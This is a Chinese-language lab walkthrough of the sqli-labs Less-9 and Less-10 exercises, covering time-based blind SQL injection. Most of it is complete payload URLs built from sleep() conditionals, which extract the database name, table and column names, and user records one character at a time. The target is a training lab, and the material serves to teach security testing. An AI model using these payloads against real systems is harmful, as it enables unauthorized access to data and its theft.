Less-9
GET - 盲注 - 基于时间 - 单引号
从题目中我们了解到了这是一道关于单引号时间盲注的题,那么我们先尝试 ?id=1' 发现返回的结果竟然是 You are in ... 什么情况?于是分别尝试 ?id=1 ?id=1" 发现结果都是You are in ... 于是可以大胆的猜测正确的输入和错误的输入返回的结果被设置成一样的了。
对比后台源码:
从源代码中证明了我们的猜测,由此也可得出这样的结论:1.不返回报错信息页面,无法进行基于报错信息的盲注。2.页面不存在true和false两种不同的页面,无法进行对比也就无法进行布尔盲注。
PS
无意间看到别的博客提到Content-length的长度不一样,也可以来判断页面正常与否,所以其实这题可以用布尔型盲注来解决。(有兴趣的话可以自己尝试下)
那么如何破题?
一般来说,在页面没有任何回显和错误信息提示的时候,我们就会测试时间盲注这最后的手法。测试下面3条语句:
http://192.168.33.1/sqli/Less-9/?id=1 and sleep(5)-- #
http://192.168.33.1/sqli/Less-9/?id=1' and sleep(5)-- #
http://192.168.33.1/sqli/Less-9/?id=1" and sleep(5)-- #
发现只有第二条语句页面延迟了,说明这是单引号时间盲注。
常用的判断语句:
' and if(1,sleep(5),1) %23
' and if(1=0,1,sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
...........
补充小知识:
使用
if(查询语句,1,sleep(5))
,即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确。
-
if(expr1,expr2,expr3)
-
sleep(n)
:将程序挂起一段时间 n单位为秒
1.然后我们就来猜数据库长度:
?id=1' and if (length(database())=x ,sleep(5),1)--+
x从4开始增加,增加到8有明显的延迟,说明数据库的长度是8;
http://192.168.33.1/sqli/Less-9/?id=1' and if(length(database())=8,sleep(5),1) -- #
2.猜数据库名---> 得到security 数据库:
当前的数据库名:可以用 < > = 比较,对字符进行范围的判断,然后用二分法不断缩小范围
(下面做下演示,后面将简单演示了)
http://192.168.33.1/sqli/Less-9/?id=1' and if(left(database(),1)>'r' ,sleep(5),1)-- # 页面有明显延迟
http://192.168.33.1/sqli/Less-9/?id=1' and if(left(database(),1)>'s' ,sleep(5),1)-- # 页面无明显延迟
http://192.168.33.1/sqli/Less-9/?id=1' and if(left(database(),1)>'t' ,sleep(5),1)-- # 页面无明显延迟
http://192.168.33.1/sqli/Less-9/?id=1' and if(left(database(),1)='s' ,sleep(5),1)-- # 页面有明显延迟
........
http://192.168.33.1/sqli/Less-9/?id=1' and if(left(database(),8)='security' ,sleep(5),1)-- # 页面有明显延迟
当然也可以这样写:
正确的时候直接返回,不正确的时候等待 5 秒钟,只给出正确的:
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
说明第一位是 s (ascii 码是 115)
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
说明第一位是 e (ascii 码是 101)
....
以此类推,我们知道了数据库名字是 security
3.猜数据库表
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit x,1),5)='users',sleep(5),1)--+
通过limit x,1 中x的变化,我们找到了users表
http://192.168.33.1/sqli/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),1)--+
注意不建议使用这种方法猜数据库里的表,这种猜数据库表的概率太低,这种写法只能说你知道了security数据库可能有 users 表但你不确定,用这种语句可以确定数据库是否有该表,且该表在第几行,由下图可知,users表在第四行,而limit是从0开始的,所以x为3
既然上面的不靠谱,那么用另外一种方法吧:
正确的时候直接返回,不正确的时候等待 5 秒钟,只给出正确的:(注意拼写正确)
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,1,sleep(5))--+
.....
猜测第一个数据表的第一位是 e,...依次类推,得到 emails
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,1,sleep(5))--+
.......
猜测第二个数据表的第一位是 r,...依次类推,得到 referers
......
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
4.猜users表里的列 (ASCII码 i-105)
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,1,sleep(5))--+
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
(and table_schema=database()这条语句不能少是因为要排除其他数据库可能也会有users表)
5.猜username的值(ASCII码 D=68)
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内容
以上的过程就是我们利用 sleep()函数注入的整个过程,当然了也可以利用BENCHMARK()函数进行注入,这里可以自行进行测试。
其实if(查询语句,1,sleep(5))
里面的查询
语句都可以换成布尔盲注的语句,参考less-5,同理Less-5的语句也能换成less-9的查询语句,就是布尔盲注与延时注入相结合,要灵活运用。
如:获取users表里的内容(D-68)
http://192.168.33.1/sqli/Less-9/?id=1'and If(
ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68
,1,sleep(5))--+
正确的时候直接返回,不正确的时候等待 5 秒钟
http://192.168.33.1/sqli/Less-5/?id=1'and ascii(substr((select username from users limit 0,1),1,1))=68--+
========================分割线======================
脚本:
暂未发现好的脚本。
=======================分割线=======================
Less-10
GET - 盲注 - 基于时间 - 双引号
从题目中我们可以得出这是一道关于双引号时间盲注的题,也就是和Less-9十分类似,只需把单引号 ' 替换成双引号 " 其他操作不变。
查看下源码:
所以重复的轮子不在造了,可自行尝试。